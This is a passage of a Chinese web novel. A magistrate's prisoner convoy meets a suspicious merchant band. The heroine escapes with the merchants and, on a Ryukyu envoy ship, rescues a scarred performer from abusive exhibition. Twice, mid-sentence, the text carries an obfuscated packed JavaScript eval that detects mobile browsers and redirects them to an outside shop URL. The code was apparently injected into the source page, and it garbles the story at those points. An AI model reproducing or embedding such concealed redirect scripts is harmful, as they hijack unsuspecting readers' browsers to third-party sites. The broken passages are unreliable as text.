想明白这一层，韩山反倒心安了。暗中之人怕他，不是他怕那人。 既然躲不过，不若主动迎上去见见对方意图。 声音从马车中传出，无有犹豫：“绕路。” “让弟兄们打起精神刀别收起，记得火把灭掉，天也快亮了。” 赵捕头手一挥，队伍就倒回先前的路。 宋文楚没忍住再回头瞧了眼，恰巧此时风将轿帘吹起半边，像人非人似笑非笑颊艳唇姣，皮纸为壳篾竹作骨，凤冠霞帔裹红裳。 拐进了岔道，才行了没会儿又听得有人惊呼，马车又停了，赵捕头压低嗓子喝一声：“什么人！” 路边横着几辆骡车，布匹茶叶翻在泥里，碎瓷片铺了一地。几个人呆呆站在车旁，一个老头蹲在地上，还未回过神来。 见官家车马过来，为首一位二十出头的郎君朝这边拱手。眉眼生得实在好，薄薄的枫叶唇紧抿，明明生了一双桃花眸子，偏偏面庞清毅，目光如炬。 又偏不同于五陵少年，好敷铅粉，抿朱唇的秾丽孱弱，一身青缎面披风，长身肃立，如莲如玉。 “来的可是官爷？” 他起声清越，让人觉得彬彬有礼忍不住亲近。 师爷正要答话，轿帘已完全掀开了，韩山探出半张脸将这郎君打量过。 郎君微微一笑：“鄙人姓沈名幼安是个行商，替扬州府千秋岁在路上跑些生意。今夜走这条路不想前头遇上劫道的，正愁不知如何是好，幸在遇见大人车马，烦请大人庇护一二。” 千秋岁。 韩山听过这个名字，此人是扬州府最大的商号，茶丝盐铁，漕运码头，半个江南的买卖都沾得上边。而东家却从没露过面，外头只知道叫千秋岁，是男是女都没人说得清。韩山跟千秋岁倒是没打过交道，人家生意做得大着呢，也用不着他一个小小县丞照应。 只是这会儿，忽然冒出一个替千秋岁采办的行商说遭了土匪，这么赶巧地跟他撞上了，韩山却是不信的。 韩山：“你们怎得不走官道，却要走这条偏路？” 沈幼安苦笑了一下：“鄙人今夜从北边过来原是走在官道上，就见到前面有红白两桩事撞在一起了。鄙人怕冲撞了便改走这条小路，不想走到此处，林子里忽然蹿出一伙人来也不知是匪是盗，把鄙人的银钱货物抢了大半，骡马也牵走了几匹。鄙人带着几个伙计跑得快，总算没伤着人，可这一车的货——”他回头看了一眼散落满地的货物，摇了摇头，“算是折在这儿了。” 韩山收回目光，问：“土匪多少人？什么来路？” 沈幼安想了想：“黑灯瞎火的看不太清，估摸着十来个人。倒不像是寻常的剪径毛贼，那些人抢完东西也不伤人，就是直接跑了。鄙人走南闯北多年，头一回遇上这种事。” 韩山没再追问：“你们打算怎么办？” 沈幼安叹口气：“这前不着村后不着店的，只能先到县城再作打算。大人若是不嫌弃，能否容鄙人和伙计们跟着大人的队伍走一程？天黑路生，万一那伙土匪再回来……” 韩山看了师爷一眼，师爷会意凑到轿窗边上，压低声音：“大人——” 韩山摆摆手，示意师爷不必说了。他当然知道这些人话里有漏洞，他看得清楚着呢，但他并不打算追究。这些小角色，不值得他在这黑灯瞎火的野地里浪费时间。 他放下轿帘，声音从里飘出来。 “既是苦主便跟着走吧，到了县城自己去衙门递状子。” 沈幼安谢过，当即招呼那几个失魂落魄的同伴，安抚着他们：“货先别管了人才是最要紧的，别的到了县城再说。”那个蹲在地上的老头被扶起来嘴里还在念叨什么，沈幼安拍拍他肩没再说多余的话。 商人们把剩下的骡马拢在一起，跟在人质后头。上路后，宋文楚有点不自在，总觉得背后有人看着她。 她头一个想到了沈幼安，又觉得虚无缥缈的，人家又不认识她看她作甚？总不能是看她这么小的年纪竟是官府缉拿的犯人，觉得震撼吧？ 自行商队加入后，人质队伍又开始闹幺蛾子。 先是狗剩说内急，捂着肚子恨不得当场要拉一兜子，赵捕头黑着脸让一个差役领着他钻了路边林子。狗剩磨蹭了半天终于从林里出来，出来时一脸神清气爽，跟着他的差役则生无可恋。 然后是大翠花又口渴了，赵捕头让忍着。大翠花说忍不了嗓子眼干冒烟了，再走下去怕是要晕在路边，会给韩大人添麻烦的。说着就还真的扶起额，走路打飘，下一息就要晕倒地上的模样。 赵捕头看了一眼韩山的轿子，他只好去拿来水壶。大翠花接过来喝一口说太烫，又喝一口说太凉，第三口总算咽下去了，又把水壶递回去，说谢谢这位大哥，大哥你人真好，赵捕头的太阳穴突突跳了两下。 大翠花那边是安分了，谁想这狗剩更绝，直接一屁股坐地上。他仰着脸笑嘻嘻看赵捕头，直说走不动了，腿不是自己的了，行行好给歇歇吧。赵捕头踢了他一脚，他哎哟一声拍拍灰仍不起身，梗着脖子说打死我也走不动了，你们先走我歇够了追上去。赵捕头又踢了一脚，他就势往地上一躺双手枕在脑后，望着天悠悠地叹了口气：“这路，真硬。” 最后被赵捕头强势拽起来，狗剩极为不满：“捕头大哥好狠的心，连口气都不让喘。手段还如此粗鲁，我这细皮嫩肉的伤着了怎么办？” 这些动静全被马车内的韩山听进了耳中，他的耐心被磨得所剩无几，然而他咬着牙没出声。快了，县城快到了。到了县衙进了大牢，这些人想演也演不成了。 韩山默默在心里给记着账：客栈走水，记一笔。红白撞煞，记一笔。小路遇行商队，记一笔。老母猪庄人事儿精，大记特记一笔。 他正琢磨着又听得一阵喧哗，有人在喊：“老王！老王你怎么了！”轿子猛地停了。 “大人！”赵捕头的声音从后头传过来，“有个商人摔了！好像伤得不轻！” 赵捕头跑过去看了一眼，回来禀报那老头踩到坑里了脚踝肿得老高，走不了了。 韩山让将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401161|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶上马，赵捕头跑回去张罗，可那老头的脚踝碰一下就嗷嗷叫，根本坐不住。 沈幼安面带歉意：“这位老伙计伤得不轻，实在走不得路了。鄙人想请大人稍待片刻，容我想想办法。” “本官赶着回县衙办案，没工夫陪你歇，你的人你自己照看。反正前面就是县城，你们慢慢来便是。”韩山拒绝等他们。 放下车帘即将启程，又被沈幼安喊住。 “大人，这位姑娘——”沈幼安指着人质队伍里的宋文楚，“方才鄙人老伙计摔倒的时候，这位姑娘帮着扶了一把，手上的铁链蹭到了伤口，在下这里有些伤药，可否容在下给她看看手？” 宋文楚呆了一下，她扶了吗？没扶吧？她刚刚不是在思考人生么，都没注意到那老头。不过这人既然说她扶了，那她就扶了吧。 赵捕头期期艾艾的，请示的时候简直不敢去看韩山的脸。师爷更是无奈一脸看夯货的嫌弃表情，这些话还犯得着来问吗？直接拒绝不就得，你问了等于把大人架起来，好不好就由不得自己心意了。 韩山扶着额挥挥手，让赵捕头解开，师爷替他接口：“铁链蹭到人伤口传出去不好听，到了县城再锁上吧。” 沈幼安从怀里摸出一个小瓷瓶，倒了些药粉在手帕上递过去：“姑娘这是金创药，擦一擦很快就止住疼了。”宋文楚接过来，低声道了声多谢。沈幼安点点头，退回去扶住老头。 老头盯着自己肿成猪蹄的脚踝，突然一下子就哭出来。 “都是我……都是我坏事。要不是我提议走小路，货也不会丢。要不是我走路不仔细，腿也不会摔。都是我……我就是个废物！老废物！拖累人的老废物！”他越说越自责声音也越来越大，眼泪啪嗒啪嗒豆子一样往下掉。 沈幼安摇摇头：“老王，别这么说，算不得你的错。谁也不知道这条路上有土匪，谁也不能保证走路不摔。别说了先歇着，咱们慢慢想办法。” 老王不听还是哭，还是自责，眼泪鼻涕糊了一脸，翻来覆去总是那几句话，像念经似的。 队伍里的人都被这哭声吸引过来，沈幼安手下的几个伙计围上去把老头圈在中间，七嘴八舌地安慰。狗剩不知什么时候也凑了过来，他挤进人群往宋文楚身边靠。 宋文楚本是站在人群边缘，看着那老头哭，内心挺感触着的，随后手心内被人塞了块凉凉的石头。 她还未来不及去看，就听见狗剩压低的声音响在耳畔：“去扬州府，汇通号。”然后他回到原处，又变成那副吊儿郎当的模样。 她微微摊开一点缝隙，觑见那是枚玉佩，摸着中间像是刻了个字，但她现在不敢看，趁没有人注意塞进了怀里。 剩下的几个行商全围了上来，人挤人脚踩脚，将宋文楚也裹了进去。她被人群推着往里面送，正不知怎么脱身，一只手搭在她肩上，把她往旁边带了一下，是沈幼安。 他的手从她肩头滑下来，落在她胳膊上轻轻一拢，把她圈在自己手臂底下。不紧不松，刚好把她护住，又不至于让她觉得被箍住了。他没看宋文楚，只低着头看老王，嘴里还在安慰：“老王别哭了，大伙儿都在这儿呢，没人怪你。” 宋文楚被他半圈着，透过人群的缝隙去瞟那些差役，没人注意到她，甚至连狗剩似乎也没发现她没了。但她清楚狗剩是知道的，不然刚刚狗剩为何突然对她说那句话，狗剩定是和这支行商队认识。 人群还在围着老王，老王还在哭，伙计们还在劝。韩山嘴角往下撇着眼睛眯起来，他终于掀开轿帘带着压不住的烦躁：“走！谁再磨蹭，以抗法论处！” 赵捕头如蒙大赦，吆喝着拽起铁链将人质都拉回来，狗剩这回乖了根本不用催，自己迈开步子就走，大翠花也不喊渴了。赵捕头连人头都没兴致点，只喊声“齐了”，队伍便动起来。 韩山的马车驶在最前头，马儿跑得很急，比之前任何时候都急。生怕再慢一点，又要被些乱七八糟的缠上。 马车一走，沈幼安松开手臂安慰声全收了。老头已经不哭了，脚踝也不疼了，就着另一个伙计胳膊的力站起身。对上宋文楚一脸讶然，老王笑道：“瞧着唬人不碍事的，虽说还不能跑不能跳，但走路还是能走的。” 他试着迈前一步呲了呲牙，又迈了一下这回稳了些。 沈幼安没对宋文楚解释一句，他和众人收拾起地上的东西。没人问她怎么还站在这儿，也没人赶她走。一个伙计把翻倒的茶叶篓子扶正，从中掉出几块碎银子，他捡起来再往里一扔眼皮都不带掀一下的。 老王的腿绑上了布条，一瘸一拐地牵来头骡子，沈幼安掀开盖在上头的油布，底下整整齐齐码着货哩，哪像被土匪抢过的样子？ 把最后几匹布捆上骡背，沈幼安转过身和宋文楚对视上。他瞧着与方才不同了，目光冷冷的半分客气也无：“你去哪里？” 宋文楚：“扬州府。” “跟上。” 宋文楚撒开步子就随了上去。 24. 江帆夜泊 行商队伍在九庐县停了半日，道是置办些东西。沈幼安让人送来套男子衣裳，宋文楚换完后本以为会嫌大，却没想袖口已经收紧过，腰间也配了条布带，穿上倒也算合身。 她对镜照了学着市井溜子晃晃膀子，踮脚走路，没忍住被自己滑稽模样逗得噗嗤笑出声。 那几个行商在院子里修车辕的修，喂骡的喂，老王脚裸上的肿消了好些，不过走路还有点撇，他仍不得闲还在那儿搬货。宋文楚上前去帮忙栓绳，这下老王头嘴也闲不下了，眉飞色舞跟她唠了好半天嗑。 过午他们包了条渡船，从九庐县城南齐川河出发。宋文楚和那几个行商坐在船舷上，沈幼安独自站在船头，背对众人，面朝流水。两边灰瓦白墙随水流倒退，退着成了田埂，又成了芦苇荡。 船向西南驶到颐陵镇，再转入大运河，水面立即宽阔开来，来往船只也多了起来。漕船、进贡船、商船、民船等等桅杆丛林，帆影重重。又有花花绿绿的画舫，从旁边游去时丝竹盈耳。运河是大梁的命脉，这话诚然不假。 一路上沈幼安都没怎么说过话，他看天看水心事重重，无人搅扰，愈发是沉浸于忧郁氛围无可自拔。宋文楚更没理由上去搭话，本就蹭的人家商队，少说少问自是，她只恨不能把自己缩成一团球埋起来。 傍晚时分，船到了绍伯口。绍伯口是运河的咽喉，河上所有船都要在此过闸。官船优先，其余船排起了乌压压的队，宋文楚他们的船更是排到最后。 她百无聊赖数着前方还有多少艘船，忽听得一阵鼓乐欢歌声，见是旁边停了一艘大船，船身漆得金碧辉煌，桅杆上挂了面红色长方旗，中央写有“琉球”黑字。这是琉球的使者船，上面也搭载了暹罗商人。听得人声鼎沸，隐约还能看到有人跳舞与耍把式表演。 好些水手客商们都跑上去看热闹了，没去的也趴在船舷或挤在甲板上伸长了脖子。 宋文楚瞧得有趣，又不好意思自己离队，便问几个行商去不去看，老王只道让她想看就看，不过不定什么时候过闸，记着时间早些回来就是。她又瞟了眼船头，沈幼安也没说什么，这下宋文楚心安理得地踩着跳板上了琉球船。 船上热闹比她想的还甚。 辛烈香料织缠着酒气，甜腻熏鼻，头晕目眩中似见人群化魔舞起鬼步，宋文楚被推着往前走，好不容易从挤挤人/流中挣出来，耳边可算是清静好些。前面是一排垂着竹帘的房间，应是使臣歇息的地方，她寻着记忆往回走。 走到了船舱边上，忽听见右侧房内传出一阵叫骂声。她想了想，还是凑过去从垂帘的缝隙里往看。 地上铺着毛毯，坐的有男有女都穿着鲜亮轻薄的纱衣，露出脖颈半肩和整条手臂。有相倚斜靠着，有盘腿坐着，手里端了酒盏面上含笑。他们都是大梁人，为了迎合外国使者喜好而穿了异域服饰。 “你怎么也穿成这样？像什么话？给客人看什么？看你满身的蚯蚓吗？” 五十来岁一身暗红绸袍的班主，正手持竹篾指向一人骂。那是个背对帘子站着的身量高挑女子，肩背宽阔，乌发披散松松绾了条金链。她衣着与旁人一般无二，宋文楚却觉着比那些人都好看，不若罂粟招展尽态极妍，衬在她身却如绸缎裹刀，青松覆雪，矫健挺拔。 那几个伶人别过脸去，捂着嘴肩膀一耸一耸的。一个男伶歪在毯子上，胸口袒露大片，笑得最快活。 女伶眉也未皱一下，只道： “是玉奴说客人要看，班主让我们都穿这身。”她指了地上笑声最响的男伶。 那男伶瓜子脸猫儿眼，当即从毯子上爬起来，扭着腰朝班主身边蹭。 “好姐姐，我没说过这话您可别冤枉我。是她自己不好好穿，跟我可没关系。我们可都是照您吩咐穿的，她自己穿得难看倒赖起我来了。”他扯起班主的袖子晃一晃。 旁边几个伶人笑得更欢了，有人接话：“就是就是，玉奴可冤枉了。”又有人起哄：“玉奴，你快给班主撒个娇，班主心一软就不罚你了。” 玉奴果然又摇摇班主的袖子，声音甜软黏腻：“姐姐~” 班主眼睛横过来，居高临下拍拍他的脸，玉奴双瞳含情脉脉朱唇轻启拉过班主手欲要吻上——被班主甩开。 “还不滚出去把衣服换了？杵在这儿丢人现眼！” 女伶一言不发，转身离开。 走得太快，帘后的宋文楚未来得及撤开，先是帘子掀在她脸上，脸麻了半边，再是如同撞上座山，脚下空了，后腰已然悬出了船舷…… 方才从帘缝中偷看这女伶时，只觉得她顶天立地气势不凡，如今撞上来才真切感受到那股力道。 这一撞险些把她整个人抛出去，可见女伶完全没留神看路。 女伶拽住她手腕往回一带，宋文楚撞进她怀里，鼻尖蹭上她脖领，被搂了个结实。那人一手揽她腰，一手撑船舷，低下头。 宋文楚魂还未归位，耳边先响起清脆透亮的嗓音，带着点喘：“得罪。”女伶松开手退后一步。 见她不说话，女伶以为她被撞疼了：“我走路不看路冲撞了姑娘，姑娘没伤着吧？” 宋文楚摇了摇头目光不由落在女伶身上： 脖颈侧面一道，左手臂上深浅交错两道，右手臂上三处圆坑再叠加一道，新添泛着嫩红，还有肩胛骨一道现在看不见了。 条条道道，触目惊心，满身疤痕。 原来这就是班主口中所说的蚯蚓。 这个人，到底经历了什么？ 那女伶像是习惯了别人注视她伤痕的目光，倒也没遮掩。她侧耳再去听船舱里头催场的鼓声，朝宋文楚点了下头匆忙道：“表演要开始了耽误不得，姑娘，我先走了。”匆匆转身沿着走廊往里跑去。 表演大厅在船舱正中，穹顶垂下来华丽多彩的幔帐，壁上悬几盏琉璃灯，四处角落里各燃一只铜火盆，热浪铺得人满面红光。 上首几个是琉球和暹罗的使臣，琉球使者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411768|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大袖宽袍头戴小帽，腰挂印笼或荷包，盘腿坐在锦垫上。暹罗人肤色如古铜，披红挂绿深目卷发，嘴里还嚼着槟榔。兴致高处咧嘴大笑，露出一口红褐色的牙。女眷们坐在下首另一侧。 舞姬们上场了，那个女伶的身影不在其中。他们斜披丝帛，蒙面沙罗被掀到鼻梁下只遮住唇，眼珠子上挑着看人。手脚带铃铛臂上环金钏，步态蛇形腰肢曼动，旋起圈圈叮咚响。 几个外国使臣看得心不在焉，不是懒洋洋地靠着喝酒，就是打个哈欠假寐，只有两个年轻些的随从看得眼睛发直，被旁边的人拍了一巴掌又缩回去了。 一曲舞罢，领头的琉球使臣招手，叽里咕噜说了几句，旁边通译翻译：“外使大人说，这舞好看是好看，可一路上看了好多回了，能不能换个新鲜些的？” 班主脸上堆着笑，连声应承。她转过身，目光在伶人堆里寻了一圈没寻着那个女伶，她又往人群中找，终于在后台看着了，换完件高领长袖衫子刚赶来的女伶。 琉球使臣看了一眼就闷头喝酒，暹罗商人倒是多看了两眼，可那眼神里也没多少兴致。 班主扯着嗓子吸引来全场瞩目：“列位大人，这位是我们班子里的顶梁柱功夫最好不过，现在就让她给大人们演个新鲜的绝活。” 她推了推女伶的背，女伶站着没动，班主又推了一下低声威胁：“愣着干什么？别忘了你的身契还在我手里。” 女伶慢慢弯下腰，双手撑地，将身体拱成了一座桥。她弯下去的时候，头从两腿之间露出来，脸朝上望着屋顶飘飞的幔帐。 “此绝活名为‘玉山倾’，她下腰倾倒拱起如一座玉山，让人踩在肚子上，承受踩踏时岿然不动。各位大人谁有兴趣，站上去试试？” 那几个外国使臣听了面面相觑，一个暹罗商人用生硬的官话问：“踩？人踩？她受得住？” 这女人虽说看着比一般女人高大，可踩在肚子上？想想都可怕，肯定会把她踩死的。 班主笑得花枝乱颤，脸上褶子都笑开了：“受得住受得住，她是练过的，铁打的皮肉踩不坏呢。” 一个琉球女眷掩着嘴，小声说了句什么，旁边人笑起来。 几个暹罗商人听得直摇头，那个领头的暹罗使臣总算搁下杯盏，嘴唇动了动，通译当即凑过去听，转述：“他说，把人踩坏了不吉利。” 班主见外国使臣还在担惊受怕地犹豫着，她索性抱起旁边一个五六岁的小男孩。那孩子圆头圆脑的扎着个冲天辫，手里还攥着半块糕。 “大人们怕踩坏了，那就先让这孩子试试，小孩子身体轻踩着不疼。” 孩子站上去晃晃悠悠的，像站在一座软绵绵的山上，觉得好玩再好奇地跺了跺脚，咯咯笑起来。 女伶面上血色尽褪，有如锤头击在腹部锻造五脏六腑，从撑在地上的手腕开始颤，很快震颤蔓延至全身，强支着山岳倾覆前最后的稳固。 宋文楚站在人群后面，手指搅紧了衣角。 25. 将相王侯 班主又在想着法与外国使臣攀着话儿，那几个琉球使臣顾不得睬她，已经先怕了。领头的站起来喊着“快把孩子抱下来”，通译在旁边手忙脚乱地翻译。 孩子抱下后，那座玉山是真切倾颓塌陷歪在了旁边，蒙了满额的汗。 班主却不肯罢手，扭着腰凑到围观女眷跟前：“这位娘子，您上来试试？踩着玩儿，保您新鲜。” 穿袄裙簪珠翠的女眷吓得直摆手，两只脚往后退了几步，连声说“使不得使不得”。班主又转向另一个女客，她更是干脆直接把脸扭过去了。 将一圈的女眷问了个遍也没一个肯的，班主这才回过身来朝那几个外国使臣笑道：“大人们瞧见了，不是我们不演是没人肯踩。” 那几个外国使臣本来还有些害怕，见女眷们吓得花容失色反倒来了兴致。琉球使臣第一个站起来整了整衣冠，班主朝女伶使个眼色，女伶重新弯下腰。 班主欠身展臂，使臣蹬掉木屐，缓缓伸出一只脚踩在女伶肚子上，感觉站稳后又踩上另一只。 怒气在宋文楚心口横冲直撞，欲破膛而出撞开玉山上挥下的斧凿，亦或如那位女客般狠狠别开脸去，只若视而弗见，只若听而弗闻。 只可恨未泯良心，亦无行勇毅，她这么怔怔看着，苦涩扼住咽喉酸楚吞入肚中，落得个两难堪。 琉球使臣下来后抚掌意得，开怀痛饮一盏，四周喝鸣雷动。 继他之后，又一个矮小壮硕的男子站了出来，眼带促狭的光。他不急着踩上去，先用绿豆眼将女伶整个凝视过一遍，衬着那张脸十足的腌臜污秽。 他没理班主搀扶的手自己抬脚就踩，脚悬在女伶肚子上时眼睛又往下滑，脚掌故意往小腹下方挪了半尺，用力踩去—— 只这一瞬，终促宋文楚忿怒登峰烧尽了藏匿的软弱与犹豫，她如一道流星在玉山将被烙下凿痕前，以毁天灭地的力道坠尾对抗。 那矮丑货则以金鸡独立的姿势倒在后面使臣身上，后面使臣踉跄几下没站住再侧倒……顷刻间倒了一片，场面可谓是十足滑稽了。 宋文楚蹲下身正要去扶她，女伶已先行起了身，二人触及彼此目光中的动容，宋文楚冲她笑了一下才移去面向班主道：“多少钱能包下她今夜的表演？” 班主还未答话，矮丑货张口就是骂骂咧咧一通鸟语，反正听不懂全当他放屁了。 班主回过神来，迟疑着说：“这位小公子，你说包场？我们这班子的价可不便宜。”不巧，宋文楚这身寒酸样实在是让班主难以信服。 “你开价就是了。”钱宋文楚是一分没有的，但她摆阔的气势可比空荡荡的口袋底气足得多。 班主底下那群伶人的眼神全变了。他们本还在笑女伶前尘尽忘身有旧疾，格格不入下沦为众人笑柄，如今却与他们处境颠倒，虽只一夜，却也是他们渴望之久自由身。 玉奴头一个黏上来，含着蜜意便去搭宋文楚肩：“小公子心真好~你看我——”宋文楚直接转步避开。 玉奴手落了空，他无措伫在原地堆起满腔委屈，猫儿眼里晶莹点点如同零碎天上星。矮丑货本还在气头上一瞧着玉奴模样眼都融化在他脸庞，班主见状也是干脆利落将他推向那矮丑货。 一下子被搂了个满怀，玉奴还未反应过来，矮丑货一口灼热臭气扑鼻而来相继黄牙也怼上，玉奴想要去推，班主一句话却教他卸了手中动作。 “玉奴，今个儿就和这位大人吃顿酒罢。” 料理完玉奴，班主给宋文楚报了个价，宋文楚心里骂着都够她在庄上吃半年了，面上不显声色只沉稳地颔首让班主等着，悠悠踱步而出，刚一离开众人视线就飞快跑过甲板踩着跳板回到自己船上。 沈幼安这回没再郁郁寡欢，眉锁春山，坐断船头望水流，他、老王头还有那几个行商伙计围了舱口，喝着小酒弄了些花生米聊着走货的话儿，气氛还算愉快。宋文楚登时有了底，势在必行。 “沈郎君，方便借我点银子吗？可以打借条。” 说话声停住了，大家都转过脸看她，沈幼安没问多少先问：“做什么？” 宋文楚实话实话：“我想买下个伶人一晚上，奈何身上银子不够。” 老王手里正倒的酒从碗沿溢出来流到手上都没发觉，另一个伙计正往嘴里扔花生米，没扔进去掉在衣襟上又滚到船上。 老王摸着下巴意味深长说了句：“看不出啊小兄弟，这么随性风流？” 掉花生米的伙计：“人不可貌相，人不可貌相。” 宋文楚一脸高深莫测笑而不语。 “你两嘴这么闲不住，不如去掌舵。”沈幼安微笑着往那两个人脸上看过一眼，老王头和伙计立马收起表情噤了声，老实爬起来往船尾走了。 掏出一只钱袋搁在舱板上，沈幼安只说了句“拿去吧，把那件大氅也穿上”再没别的废话。宋文楚被他的阔绰惊到了，数都不数直接给吗？借条还没打呢真不怕她不还了？ 内心嘀咕不影响她已飞快捞起钱袋披了大氅，扔下句“多谢沈郎君，回头还你”，至于什么时候？再说吧，来安客栈孙掌柜的那块碎银至今还未还呢，反正债多不愁了。 宋文楚拿了钱袋回去数出班主要的数，班主眼睛还往里伸，宋文楚背过她收紧袋口掖入怀里，班主收了银子也乐呵呵将那女伶领到她跟前说着“去吧去吧”，便转身招呼别的客人了。 宋文楚拉起女伶的手穿过走廊上到甲板找了个背风处站定，河面上吹来的风夹杂了河水的湿润，女伶虽换了件厚实点的衣裳，经风一吹贴在身上仍是显得单薄，面色发白嘴唇紧紧抿着。 “肚子还疼么？” 女伶大概没料到宋文楚开口问的第一句话会是这个，她也不逞强睁眼说瞎话，手按在小腹上揉了揉，抱怨道：“今个正好来了月事身子便虚了些，哪知那 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“因为我人好，嘻嘻。”宋文楚松开手靠在船舷上，歆羡着赞叹，“你力气真大，是以前练过武么？方才那一撞我差点都以为要飞出去。” 女伶目光闪了闪，含糊不清道：“我不清楚，印象里醒来就在这班子里了，前尘过往一概不知。” 这样么……宋文楚心念一动，又听到女伶声音响起。 “那是我收着了，要是没收着你这会儿已经在河里扑腾呢。” 女伶歪头：“你看着也不瘦，怎么跟柴火似的一碰就倒？” 宋文楚不服气了，挺直腰板：“我这叫匀称壮实，要不你再撞一回试试？这次我不一定飞。” 女伶斜她一眼，显而易见的“你就吹吧”，宋文楚秉承吹牛吹到底的宗旨，面不改色心不跳：“我以后会变得很厉害的，比你力气都大，咔咔咔一拳头下去打倒十个。” 女伶趴在船舷上，笑声荡开在夜空下。 “那敢情好，到时候你罩着我喽。” 宋文楚被她这一说瞬间肩上责任重大，浑身都来了劲，她狠狠点了下头，紧接着又说了句没头没尾的： “等以后我成事了，封你做个将军威风威风。” 女伶看了她一会儿：“你成什么事？” 宋文楚的得意劲儿收了，她思考了一会儿认真答道：“若我一朝得势，封尔将相王侯！” 女伶并未露出惊慌之色，也没上去捂住她嘴，她哦了一声：“这等颠覆行径你倒是敢肖想？倒是敢对我讲？” “为何不敢！汉高祖泗水亭长，宋太祖殿前都检点，成王败寇罢了。成不成在天，敢不敢在我。再说了，我又不是封我自己，我是封你。到时候你骑白马披银甲，横枪立马于万军阵前，谁还敢叫你踩在肚子上？” 宋文楚眼里闪亮，不似说笑。 26. 空花阳焰 “那我可就等着了。”女伶语气也是认真的，可嘴角还是弯了弯，“到时候我不要别的，先要一匹你许诺的好马。” 宋文楚一巴掌拍上船舷，嘶，装过头了好疼。 “行！好马！我给你寻一匹最好的白马，色如雪山浑白无浊色，灵目四蹄生亮光，鬃毛如云遣雾。” “还要一副好甲，银亮闪闪的盔甲。” 吃一垫长一智，这回宋文楚改拍女伶肩，横眉立眼，气势昂扬。 “行！银甲！坚硬轻亮，錾云纹叠龙鳞，再配把长枪，银枪头红缨子。阵前列位，敌骑望之披靡，谁见不道一声天神下凡？” 两个人你一言我一语越侃越飘飘然，直把甲板当做点将台，河风吹过号角声。 肆意笑过闹过，女伶红了眼眶朝宋文楚深深一揖：“臣可就候着了。” “‘三杯吐然诺，五岳倒为轻’！我宋——楚文说的话，比五岳还重！”宋文楚豪气干云。 二人这么一通天马行空的谈天侃地，叫人一听只道少年心性游思妄想，却是宋文楚壮志，是豪言，亦是深思熟虑。 她看过她的疤痕，层层叠叠垒成龙蜕旧鳞甲，见过她的悲怆，零落成泥被碾作尘，更知她身极卑微。 然其身不死道且长。 一个有能力有运道身份又足够低下的人，天生该成为宋文楚的刀。 如若她想要，宋文楚可以同她讲恩义知交，期许她富贵荣华，如若她不想要，宋文楚只需给她一个方向，刀自己就知道该怎么劈出去。 忠勇神将孟贞石离她太远，遥远如天上星水中月，是只存于心中的空花阳焰，梦幻浮沤。可这个女伶离她十分近，近得她伸手就能拉住，她要亲手培养一个她的孟贞石，结同心之盟以抗二宋。 甚至她并不止步于此，大梁不该只有一位孟贞石，应有千千万万位贞石。 闸口过船的钟声敲过了两遍，伙计们已经解开缆绳，船身在水里轻轻晃着，只等着舵把子一扳滑进闸室里去。 如今还未过去只因着在等沈幼安发话，所有人都望着他。 琉球使者船上灯火稀疏了大半，甲板上只余零星几个人影走动。沈幼安站起身：“劳烦大伙儿守着船，我去找人。” 他穿过狼藉杯盏和被踩成烂泥的花瓣，沿着走廊往前走，走至尽头转过弯，便看见了宋文楚，目光也自然随之落在了她身旁人上。 沈幼安瞳孔失神一瞬，蓦地加快了脚步几乎小跑起来，谁知才走出两步，猛然被旁边一个蹿上来的圆脸短须男子挡在了面前。此人是扬州府知府，分掌运河漕运和地方治安，去年扬州府衙秋宴上，这人像只花蝴蝶满场飞一样端着酒杯到处敬酒，由此得了个绰号花蝴蝶。 眼下花蝴蝶眼笑地眯成一条缝，握住沈幼安手摇了两摇，亲热地话寒暄：“哎呀，这不是……” 宋文楚也瞧见了沈幼安，知道沈幼安是来寻她回去的，扬起笑招呼的手才举起一半，又立即放下。女伶顺着她目光在瞧见一人的脸后，便就把头低了下去，借着宋文楚的身子挡住自己。 宋文楚未注意到她的异样，因为宋文楚自己也是慌了。 两个人都埋着头，一个比一个缩得厉害恨不得扎进船底。 宋文楚记得三年前的冬至宴上，此人当众闹了个大笑话。那日奉天殿前广场上摆了筵席，百官按品级落座，一时间丝竹悠扬歌舞升平。 她坐在父皇身侧百无聊赖地晃着腿，等待那道压桌小点蓼花糖。觥筹几度，该轮到百官敬酒了。按规矩四品以上官员才能上殿敬酒，那时候还是个六品郎中的花蝴蝶并无上殿资格，本该老实等待遥祝天子万寿。 可他不知是酒喝懵了还是想哗众取宠，竟端着酒杯从队列里走出来，踩着石阶摇摇晃晃往上走，袍角绊在台阶上险些摔倒，满朝文武且以看戏的眼神看他。 他走到奉天殿门口被太监拦了下来，狡猾的花蝴蝶怪灵活着侧身一让便从太监腋下钻了过去。 殿外百官倒吸一口凉气，殿内群臣满堂静谧。 “诸位！诸位同僚！下官今日高兴！高兴得很哪！”他声音洪亮响彻殿央，“今日冬至，蒙圣上恩典赐宴群臣，此乃国之盛事！下官不才，愿为诸位助个兴！” 他仰颈一饮而尽，然后直奔坐在左首第一的安国公而去，上来就搂住老王爷肩膀：“老哥！多年不见，您老身子骨还是这么硬朗！” 老王爷为躲他身体往另一侧倾斜，你谁啊你？旁边立即上来拉他，直呼“使不得，这是安国公”“快松手”。 花蝴蝶不听，还是热乎乎搂着老王爷：“老哥，您咋忘了？那年咱们在辽东一起猎过野猪！我还帮您扛过叉呢！” 